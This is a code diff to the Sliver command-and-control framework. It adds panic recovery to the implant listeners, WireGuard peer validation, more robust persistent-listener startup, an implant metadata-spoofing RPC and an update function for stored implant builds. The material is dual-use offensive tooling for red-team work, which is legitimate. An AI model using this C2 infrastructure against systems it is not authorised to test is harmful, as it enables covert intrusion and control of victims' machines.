rpc GenerateExternalSaveBuild(clientpb.ExternalImplantBinary)
+36
View File
@@ -81,6 +81,7 @@ type SliverRPCClient interface {
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Implants ***
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
GenerateSpoofMetadata(ctx context.Context, in *clientpb.GenerateSpoofMetadataReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error)
GenerateExternalGetBuildConfig(ctx context.Context, in *clientpb.ImplantBuild, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
@@ -685,6 +686,15 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
return out, nil
}
func (c *sliverRPCClient) GenerateSpoofMetadata(ctx context.Context, in *clientpb.GenerateSpoofMetadataReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateSpoofMetadata", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
out := new(clientpb.ExternalImplantConfig)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
@@ -2113,6 +2123,7 @@ type SliverRPCServer interface {
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
// *** Implants ***
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
GenerateSpoofMetadata(context.Context, *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error)
GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error)
GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error)
GenerateExternalGetBuildConfig(context.Context, *clientpb.ImplantBuild) (*clientpb.ExternalImplantConfig, error)
@@ -2413,6 +2424,9 @@ func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
}
func (UnimplementedSliverRPCServer) GenerateSpoofMetadata(context.Context, *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method GenerateSpoofMetadata not implemented")
}
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error) {
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented")
}
@@ -3679,6 +3693,24 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GenerateSpoofMetadata_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.GenerateSpoofMetadataReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GenerateSpoofMetadata(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GenerateSpoofMetadata",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateSpoofMetadata(ctx, req.(*clientpb.GenerateSpoofMetadataReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.ExternalGenerateReq)
if err := dec(in); err != nil {
@@ -6393,6 +6425,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Generate",
Handler: _SliverRPC_Generate_Handler,
},
{
MethodName: "GenerateSpoofMetadata",
Handler: _SliverRPC_GenerateSpoofMetadata_Handler,
},
{
MethodName: "GenerateExternal",
Handler: _SliverRPC_GenerateExternal_Handler,
+16 -1
View File
@@ -100,6 +100,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
server.startInitGC()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns request callback")
started := time.Now()
server.HandleDNSRequest(domains, canaries, writer, req)
dnsLog.Debugf("DNS server took %s", time.Since(started))
@@ -226,6 +228,8 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
// ForwardCompletedEnvelope - Reassembles and forwards envelopes to core
func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnvelope) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns ForwardCompletedEnvelope")
dnsLog.Debugf("[dns] dns session id: %d, msg id: %d completed message", s.ID, msgID)
s.incomingMutex.Lock()
delete(s.incomingEnvelopes, msgID) // Remove pending message
@@ -373,6 +377,8 @@ func (s *SliverDNSServer) startInitGC() {
s.gcStop = make(chan struct{})
s.gcDone = make(chan struct{})
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns init gc")
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
defer ticker.Stop()
defer close(s.gcDone)
@@ -420,6 +426,8 @@ func (s *SliverDNSServer) gcPendingInits() {
// ---------------------------
// Handles all DNS queries, first we determine if the query is C2 or a canary
func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns HandleDNSRequest")
if req == nil {
dnsLog.Info("req can not be nil")
return
@@ -682,6 +690,8 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
}
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns session send loop")
dnsLog.Debugf("[dns] starting implant conn send loop")
for envelope := range dnsSession.ImplantConn.Send {
dnsSession.StageOutgoingEnvelope(envelope)
@@ -830,7 +840,10 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
complete := pending.Insert(msg)
if complete {
go dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns completed envelope dispatch")
dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
}()
}
resp := new(dns.Msg)
@@ -981,6 +994,8 @@ func (s *SliverDNSServer) handleNOP(domain string, msg *dnspb.DNSMessage, checks
func (s *SliverDNSServer) handleCanary(req *dns.Msg) *dns.Msg {
// Don't block, return error as fast as possible
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns handleCanary")
reqDomain := strings.ToLower(req.Question[0].Name)
if !strings.HasSuffix(reqDomain, ".") {
reqDomain += "." // Ensure we have the FQDN
+12
View File
@@ -126,6 +126,8 @@ func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error)
}
func acceptSliverConnections(ln net.Listener) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls acceptSliverConnections")
for {
conn, err := ln.Accept()
if err != nil {
@@ -140,6 +142,8 @@ func acceptSliverConnections(ln net.Listener) {
}
func handleSliverConnection(conn net.Conn) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnection")
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
@@ -174,6 +178,8 @@ func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
}
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnectionYamux")
session, err := yamux.Server(conn, nil)
if err != nil {
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
@@ -196,6 +202,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
go func() {
defer closeDone()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux accept loop")
for {
stream, err := session.Accept()
if err != nil {
@@ -216,6 +223,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
defer func() {
<-streamSem
}()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux stream")
defer stream.Close()
envelope, err := socketReadEnvelope(stream)
@@ -239,6 +247,8 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func(envelope *sliverpb.Envelope) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls message handler")
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
@@ -251,6 +261,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
go func() {
defer closeDone()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender loop")
for {
select {
case envelope := <-implantConn.Send:
@@ -264,6 +275,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
defer func() {
<-sendSem
}()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender stream")
stream, err := session.Open()
if err != nil {
+4 -1
View File
@@ -5,6 +5,7 @@ package c2_test
import (
"context"
"fmt"
"io"
"net"
"os"
"path/filepath"
@@ -321,7 +322,9 @@ func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
cfg.LogOutput = io.Discard
muxSession, err := yamux.Client(conn, cfg)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
+4 -1
View File
@@ -5,6 +5,7 @@ package c2_test
import (
"context"
"fmt"
"io"
"net"
"os"
"path/filepath"
@@ -353,7 +354,9 @@ func startTestImplant(t *testing.T, conn net.Conn) func() {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
cfg.LogOutput = io.Discard
muxSession, err := yamux.Client(conn, cfg)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
+9
View File
@@ -0,0 +1,9 @@
package c2
import "runtime/debug"
func recoverAndLogPanic(logf func(string, ...interface{}), scope string) {
if recovered := recover(); recovered != nil {
logf("Recovered panic in %s: %v\n%s", scope, recovered, string(debug.Stack()))
}
}
+30 -2
View File
@@ -28,6 +28,7 @@ import (
"io"
"net"
"net/netip"
"strings"
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -118,14 +119,25 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
return nil, nil, nil, err
}
validPeerCount := 0
for k, v := range peers {
tunPeerIP := strings.TrimSpace(v)
if tunPeerIP == "" {
wgLog.Warnf("Skipping wireguard peer %q with empty tunnel IP in the database", k)
continue
}
if _, err := netip.ParseAddr(tunPeerIP); err != nil {
wgLog.Warnf("Skipping wireguard peer %q with invalid tunnel IP %q: %v", k, tunPeerIP, err)
continue
}
validPeerCount++
fmt.Fprintf(wgConf, "public_key=%s\n", k)
fmt.Fprintf(wgConf, "allowed_ip=%s/32\n", v)
fmt.Fprintf(wgConf, "allowed_ip=%s/32\n", tunPeerIP)
}
// Set wg device config
if err := dev.IpcSetOperation(bufio.NewReader(wgConf)); err != nil {
return nil, nil, nil, err
return nil, nil, nil, fmt.Errorf("failed to apply wireguard interface config (%d valid peer entries): %w", validPeerCount, err)
}
err = dev.Up()
@@ -156,6 +168,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
// acceptKeyExchangeConnection - accept connections to key exchange socket
func acceptKeyExchangeConnection(ln net.Listener) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptKeyExchangeConnection")
wgLog.Printf("Polling for connections to key exchange listener")
for {
conn, err := ln.Accept()
@@ -176,6 +190,8 @@ func acceptKeyExchangeConnection(ln net.Listener) {
// Generate new implant wg keys. Generate new unique IP for implant.
// Write all retrieved data to socket connection.
func handleKeyExchangeConnection(conn net.Conn) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleKeyExchangeConnection")
wgLog.Infof("Handling connection to key exchange listener")
defer conn.Close()
@@ -201,6 +217,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
}
func acceptWGSliverConnections(ln net.Listener) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptWGSliverConnections")
for {
conn, err := ln.Accept()
if err != nil {
@@ -215,6 +233,8 @@ func acceptWGSliverConnections(ln net.Listener) {
}
func handleWGSliverConnection(conn net.Conn) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnection")
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
@@ -250,6 +270,8 @@ func (c *wgBufferedConn) Read(p []byte) (int, error) {
}
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnectionYamux")
session, err := yamux.Server(conn, nil)
if err != nil {
wgLog.Errorf("Failed to initialize yamux session: %v", err)
@@ -272,6 +294,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
go func() {
defer closeDone()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux accept loop")
for {
stream, err := session.Accept()
if err != nil {
@@ -292,6 +315,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
defer func() {
<-streamSem
}()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux stream")
defer stream.Close()
envelope, err := socketWGReadEnvelope(stream)
@@ -314,6 +338,8 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
if handler, ok := handlers[envelope.Type]; ok {
go func(envelope *sliverpb.Envelope) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard message handler")
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
@@ -326,6 +352,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
go func() {
defer closeDone()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender loop")
for {
select {
case envelope := <-implantConn.Send:
@@ -339,6 +366,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
defer func() {
<-sendSem
}()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender stream")
stream, err := session.Open()
if err != nil {
+4 -1
View File
@@ -4,6 +4,7 @@ package c2_test
import (
"context"
"io"
"net"
"os"
"path/filepath"
@@ -316,7 +317,9 @@ func startTestWGBeacon(t *testing.T, conn net.Conn, beaconID string) *wgTestBeac
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
cfg.LogOutput = io.Discard
muxSession, err := yamux.Client(conn, cfg)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
+4 -1
View File
@@ -5,6 +5,7 @@ package c2_test
import (
"context"
"fmt"
"io"
"net"
"os"
"path/filepath"
@@ -328,7 +329,9 @@ func startTestWGImplant(t *testing.T, conn net.Conn) func() {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
cfg.LogOutput = io.Discard
muxSession, err := yamux.Client(conn, cfg)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
+16 -5
View File
@@ -22,6 +22,8 @@ import (
"encoding/hex"
"errors"
"fmt"
"net/netip"
"strings"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/core"
@@ -136,6 +138,14 @@ func saveWGKeys(isPeer bool, wgPeerTunIP string, privKey string, pubKey string)
var result *gorm.DB
if isPeer {
wgPeerTunIP = strings.TrimSpace(wgPeerTunIP)
if wgPeerTunIP == "" {
return errors.New("wg peer tunnel IP cannot be empty")
}
if _, err := netip.ParseAddr(wgPeerTunIP); err != nil {
return fmt.Errorf("invalid wg peer tunnel IP %q: %w", wgPeerTunIP, err)
}
wgPeerModels := &models.WGPeer{
PrivKey: privKey,
PubKey: pubKey,
@@ -150,11 +160,12 @@ func saveWGKeys(isPeer bool, wgPeerTunIP string, privKey string, pubKey string)
}
result = dbSession.Create(&wgKeysModel)
}
core.EventBroker.Publish(core.Event{
EventType: consts.WireGuardNewPeer,
Data: []byte(fmt.Sprintf("public_key=%s\nallowed_ip=%s/32\n", pubKey, wgPeerTunIP)),
})
if isPeer {
core.EventBroker.Publish(core.Event{
EventType: consts.WireGuardNewPeer,
Data: []byte(fmt.Sprintf("public_key=%s\nallowed_ip=%s/32\n", pubKey, wgPeerTunIP)),
})
}
return result.Error
}
+2 -2
View File
@@ -141,12 +141,12 @@ var rootCmd = &cobra.Command{
serverConfig := configs.GetServerConfig()
listenerJobs, err := db.ListenerJobs()
if err != nil {
fmt.Println(err)
fmt.Printf("[!] Failed to load persistent listener jobs: %s\n", err)
}
err = StartPersistentJobs(listenerJobs)
if err != nil {
fmt.Println(err)
fmt.Printf("[!] %s\n", err)
}
if serverConfig.DaemonMode {
daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
+147 -55
View File
@@ -1,10 +1,12 @@
package cli
import (
"errors"
"fmt"
"log"
"os"
"runtime/debug"
"strings"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -68,12 +70,12 @@ var daemonCmd = &cobra.Command{
listenerJobs, err := db.ListenerJobs()
if err != nil {
fmt.Println(err)
fmt.Printf("[!] Failed to load persistent listener jobs: %s\n", err)
}
err = StartPersistentJobs(listenerJobs)
if err != nil {
fmt.Println(err)
fmt.Printf("[!] %s\n", err)
}
daemon.Start(lhost, uint16(lport), tailscale)
@@ -81,60 +83,150 @@ var daemonCmd = &cobra.Command{
}
func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
if len(listenerJobs) > 0 {
// StartPersistentJobs - Start persistent jobs
for _, j := range listenerJobs {
listenerJob, err := db.ListenerByJobID(j.JobID)
if err != nil {
return err
}
switch j.Type {
case constants.HttpStr:
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
case constants.HttpsStr:
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
case constants.MtlsStr:
job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
case constants.WGStr:
job, err := c2.StartWGListenerJob(listenerJob.WGConf)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
case constants.DnsStr:
job, err := c2.StartDNSListenerJob(listenerJob.DNSConf)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
case constants.MultiplayerModeStr:
id, err := console.JobStartClientListener(listenerJob.MultiConf)
if err != nil {
return err
}
j.JobID = uint32(id)
case constants.TCPListenerStr:
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
}
db.UpdateHTTPC2Listener(j)
if len(listenerJobs) == 0 {
return nil
}
var startupErrs []error
for _, j := range listenerJobs {
if j == nil {
startupErrs = append(startupErrs, errors.New("persistent startup entry is nil"))
continue
}
listenerJob, err := db.ListenerByJobID(j.JobID)
if err != nil {
startupErrs = append(startupErrs, fmt.Errorf("persistent %s listener (saved job id=%d): failed to load config: %w", j.Type, j.JobID, err))
continue
}
startupContext := persistentJobStartupContext(j.Type, j.JobID, listenerJob)
savedJobID := j.JobID
jobID, err := startPersistentListenerJob(j.Type, listenerJob)
if err != nil {
startupErrs = append(startupErrs, fmt.Errorf("%s: failed to start: %w", startupContext, err))
continue
}
j.JobID = jobID
if err := db.UpdateListenerJobID(savedJobID, jobID); err != nil {
startupErrs = append(startupErrs, fmt.Errorf("%s: started with new job id=%d but failed to update listener record: %w", startupContext, j.JobID, err))
}
}
return nil
if len(startupErrs) == 0 {
return nil
}
return fmt.Errorf("persistent listener startup errors (%d/%d failed): %w", len(startupErrs), len(listenerJobs), errors.Join(startupErrs...))
}
func startPersistentListenerJob(jobType string, listenerJob *clientpb.ListenerJob) (uint32, error) {
switch jobType {
case constants.HttpStr, constants.HttpsStr:
if listenerJob.HTTPConf == nil {
return 0, errors.New("missing HTTP listener configuration")
}
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
if err != nil {
return 0, err
}
return uint32(job.ID), nil
case constants.MtlsStr:
if listenerJob.MTLSConf == nil {
return 0, errors.New("missing mTLS listener configuration")
}
job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf)
if err != nil {
return 0, err
}
return uint32(job.ID), nil
case constants.WGStr:
if listenerJob.WGConf == nil {
return 0, errors.New("missing WireGuard listener configuration")
}
job, err := c2.StartWGListenerJob(listenerJob.WGConf)
if err != nil {
return 0, err
}
return uint32(job.ID), nil
case constants.DnsStr:
if listenerJob.DNSConf == nil {
return 0, errors.New("missing DNS listener configuration")
}
job, err := c2.StartDNSListenerJob(listenerJob.DNSConf)
if err != nil {
return 0, err
}
return uint32(job.ID), nil
case constants.MultiplayerModeStr:
if listenerJob.MultiConf == nil {
return 0, errors.New("missing multiplayer listener configuration")
}
id, err := console.JobStartClientListener(listenerJob.MultiConf)
if err != nil {
return 0, err
}
return uint32(id), nil
case constants.TCPListenerStr:
if listenerJob.TCPConf == nil {
return 0, errors.New("missing TCP stager listener configuration")
}
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
if err != nil {
return 0, err
}
return uint32(job.ID), nil
default:
return 0, fmt.Errorf("unsupported listener type %q", jobType)
}
}
func persistentJobStartupContext(jobType string, savedJobID uint32, listenerJob *clientpb.ListenerJob) string {
prefix := fmt.Sprintf("persistent %s listener (saved job id=%d)", jobType, savedJobID)
if listenerJob == nil {
return prefix
}
switch jobType {
case constants.HttpStr, constants.HttpsStr:
if listenerJob.HTTPConf == nil {
return prefix
}
return fmt.Sprintf("%s [%s domain=%q]", prefix, listenerBind(listenerJob.HTTPConf.Host, listenerJob.HTTPConf.Port), listenerJob.HTTPConf.Domain)
case constants.MtlsStr:
if listenerJob.MTLSConf == nil {
return prefix
}
return fmt.Sprintf("%s [%s]", prefix, listenerBind(listenerJob.MTLSConf.Host, listenerJob.MTLSConf.Port))
case constants.WGStr:
if listenerJob.WGConf == nil {
return prefix
}
return fmt.Sprintf("%s [wg_port=%d netstack_port=%d key_port=%d]", prefix, listenerJob.WGConf.Port, listenerJob.WGConf.NPort, listenerJob.WGConf.KeyPort)
case constants.DnsStr:
if listenerJob.DNSConf == nil {
return prefix
}
return fmt.Sprintf("%s [%s domains=%s]", prefix, listenerBind(listenerJob.DNSConf.Host, listenerJob.DNSConf.Port), strings.Join(listenerJob.DNSConf.Domains, ","))
case constants.MultiplayerModeStr:
if listenerJob.MultiConf == nil {
return prefix
}
return fmt.Sprintf("%s [%s]", prefix, listenerBind(listenerJob.MultiConf.Host, listenerJob.MultiConf.Port))
case constants.TCPListenerStr:
if listenerJob.TCPConf == nil {
return prefix
}
return fmt.Sprintf("%s [%s profile=%q]", prefix, listenerBind(listenerJob.TCPConf.Host, listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName)
default:
return prefix
}
}
func listenerBind(host string, port uint32) string {
host = strings.TrimSpace(host)
if host == "" {
host = "*"
}
return fmt.Sprintf("%s:%d", host, port)
}
+9 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"gorm.io/gorm"
"gorm.io/gorm/clause"
)
var (
@@ -66,7 +67,10 @@ func hostsSessionCallback(session *Session) {
}
if errors.Is(err, gorm.ErrRecordNotFound) {
coreLog.Infof("Session %v is from a new host", session.ID)
err := dbSession.Create(&models.Host{
err := dbSession.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "host_uuid"}},
DoNothing: true,
}).Create(&models.Host{
HostUUID: uuid.FromStringOrNil(session.UUID),
Hostname: session.Hostname,
OSVersion: session.OS,
@@ -94,7 +98,10 @@ func hostsBeaconCallback(beacon *models.Beacon) {
}
if errors.Is(err, gorm.ErrRecordNotFound) {
coreLog.Infof("Beacon %v is from a new host", beacon.ID)
err := dbSession.Create(&models.Host{
err := dbSession.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "host_uuid"}},
DoNothing: true,
}).Create(&models.Host{
HostUUID: uuid.FromStringOrNil(beacon.UUID.String()),
Hostname: beacon.Hostname,
OSVersion: beacon.OS,
+41 -3
View File
@@ -528,12 +528,50 @@ func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
}
func UpdateHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
dbListener := models.ListenerJobFromProtobuf(listenerConf)
dbSession := Session()
result := dbSession.Save(dbListener)
if listenerConf == nil {
return errors.New("listener config is nil")
}
if listenerConf.ID == "" {
return errors.New("listener config id is empty")
}
listenerID := uuid.FromStringOrNil(listenerConf.ID)
if listenerID == uuid.Nil {
return fmt.Errorf("invalid listener config id %q", listenerConf.ID)
}
result := Session().
Model(&models.ListenerJob{}).
Where(&models.ListenerJob{ID: listenerID}).
Updates(map[string]any{
"job_id": listenerConf.JobID,
"type": listenerConf.Type,
})
if result.Error != nil {
return result.Error
}
if result.RowsAffected == 0 {
return fmt.Errorf("listener record %s not found", listenerConf.ID)
}
return nil
}
// UpdateListenerJobID - Update a listener record's job id while preserving listener configuration rows.
func UpdateListenerJobID(oldJobID uint32, newJobID uint32) error {
if oldJobID == newJobID {
return nil
}
result := Session().
Model(&models.ListenerJob{}).
Where("job_id = ?", oldJobID).
Update("job_id", newJobID)
if result.Error != nil {
return result.Error
}
if result.RowsAffected == 0 {
return fmt.Errorf("listener job id %d not found", oldJobID)
}
return nil
}
+4
View File
@@ -464,6 +464,10 @@ func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int3
}
func randomSample(values []*clientpb.HTTPC2PathSegment, min int32, max int32) []*clientpb.HTTPC2PathSegment {
if len(values) == 0 {
return nil
}
count := int32(util.Intn(len(values)))
if count < min {
count = min
+33
View File
@@ -0,0 +1,33 @@
package models
import (
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
func TestRandomSampleEmptyValues(t *testing.T) {
sample := randomSample(nil, 1, 3)
if len(sample) != 0 {
t.Fatalf("expected empty sample, got %d entries", len(sample))
}
}
func TestRandomPathSegmentsWithNoSegments(t *testing.T) {
defer func() {
if recovered := recover(); recovered != nil {
t.Fatalf("RandomPathSegments panicked with empty input: %v", recovered)
}
}()
config := &clientpb.HTTPC2ImplantConfig{
MinFileGen: 1,
MaxFileGen: 3,
MinPathGen: 0,
MaxPathGen: 3,
}
segments := RandomPathSegments(config)
if len(segments) != 0 {
t.Fatalf("expected no path segments, got %d", len(segments))
}
}
+8
View File
@@ -1049,6 +1049,14 @@ func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*client
// Generate wg Keys as needed
if models.IsC2Enabled([]string{"wg"}, implantConfig.C2) {
if strings.TrimSpace(implantConfig.WGPeerTunIP) == "" {
uniqueIP, err := GenerateUniqueIP()
if err != nil {
return nil, fmt.Errorf("failed to generate wireguard peer tunnel IP: %w", err)
}
implantConfig.WGPeerTunIP = uniqueIP.String()
}
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(implantConfig.WGPeerTunIP)
if err != nil {
return nil, err
+42
View File
@@ -38,6 +38,7 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/watchtower"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
"gorm.io/gorm/clause"
)
@@ -136,12 +137,53 @@ func ImplantBuildSave(build *clientpb.ImplantBuild, config *clientpb.ImplantConf
if err != nil {
return err
}
overwriteImplantBuild(build, implantBuild)
watchtower.AddImplantToWatchlist(implantBuild)
storageLog.Infof("%s -> %s", implantBuild.ID, implantBuild.Name)
return os.WriteFile(filepath.Join(buildsDir, implantBuild.ID), data, 0600)
}
// ImplantBuildUpdateFile updates an existing build's stored binary and checksums.
func ImplantBuildUpdateFile(build *clientpb.ImplantBuild, data []byte) error {
if build == nil {
return errors.New("nil implant build")
}
if build.ID == "" {
return errors.New("missing implant build id")
}
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
build.MD5 = md5Hash
build.SHA1 = sha1Hash
build.SHA256 = sha256Hash
updatedBuild, err := db.SaveImplantBuild(build)
if err != nil {
return err
}
overwriteImplantBuild(build, updatedBuild)
buildsDir, err := getBuildsDir()
if err != nil {
return err
}
watchtower.AddImplantToWatchlist(build)
storageLog.Infof("updated build %s (%s)", build.ID, build.Name)
return os.WriteFile(filepath.Join(buildsDir, build.ID), data, 0600)
